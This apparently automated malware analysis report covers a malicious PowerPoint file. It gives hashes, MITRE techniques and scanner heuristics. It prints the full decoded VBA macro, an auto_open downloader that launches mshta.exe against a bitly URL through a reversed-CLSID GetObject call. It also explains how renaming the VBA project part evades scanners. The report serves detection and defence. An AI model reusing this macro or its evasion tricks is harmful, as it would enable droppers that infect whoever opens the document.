Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 4fcca1bce2dd80a2…

MALICIOUS

Office (OOXML)

11.2 KB First seen: 2021-10-23
MD5: a00323d66feb6d05cb3cfc28ff8c79a9 SHA-1: 50cb3fa623e7a92553512d4b26f797ed23eab0e4 SHA-256: 4fcca1bce2dd80a24a9def40ab28cc5197e8dd477c2ef77c4d47a19b73fa8bf1
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.005 Signed Binary Proxy Execution: Mshta T1071.001 Web Protocols: Web Protocols

The sample contains an obfuscated VBA macro with an auto_open subroutine that uses mshta.exe to download and execute a payload from the URL "http://www.bitly.com/doaksoodwwdkkdwdasdwmdaweu". The VBA code reconstructs the string "mshta" and the URL from an enumeration and a GetObject call, indicating an attempt to evade detection. The presence of the auto_open macro and the use of mshta.exe strongly suggest a downloader or initial access mechanism.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/tsftfsygciuu.b)
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
        Case 1
        getEnumName = "mshta"
    Case 2
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Public Function calc()
Set calc = GetObject(StrReverse("000045355444-E94A-EC11-972C-02690731:wen"))
End Function
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Public Function calc()
Set calc = GetObject(StrReverse("000045355444-E94A-EC11-972C-02690731:wen"))
End Function
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "clom"
Sub auto_open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.bitly.com/doaksoodwwdkkdwdasdwmdaweu In document text (OOXML body / shared strings)
    • https://www.bitly.com/jasdojasdokkaasasddksdIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1009 bytes
SHA-256: 7153b8f71d0badccfdd7ae60dc8315d506ba27390d5f7c78f74a6bdeec84937e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "clean"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Enum myenum

    myname1 = 1
    myname2 = 2
    myname3 = 3
    myname4 = 4
    
    End Enum
    
Public Function getEnumName(eValue As myenum)
Select Case eValue
    Case 1
        getEnumName = "mshta"
    Case 2
        getEnumName = "http://www.bitly.com/doaksoodwwdkkdwdasdwmdaweu"
    End Select
End Function


Public Function calc()
Set calc = GetObject(StrReverse("000045355444-E94A-EC11-972C-02690731:wen"))
End Function




Attribute VB_Name = "clom"
Sub auto_open()

Dim Total As New clean

Dim NamakTotal, lora As String
NamakTotal = Total.getEnumName(1)
lora = Total.getEnumName(2)
koko = lora


Total. _
calc. _
ShellExecute NamakTotal, koko

End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/tsftfsygciuu.b 26112 bytes
SHA-256: ed1fdfd6d55e50f520d5d9abedd452844c545e7f0a5f43191c57ddeaf9c3f426

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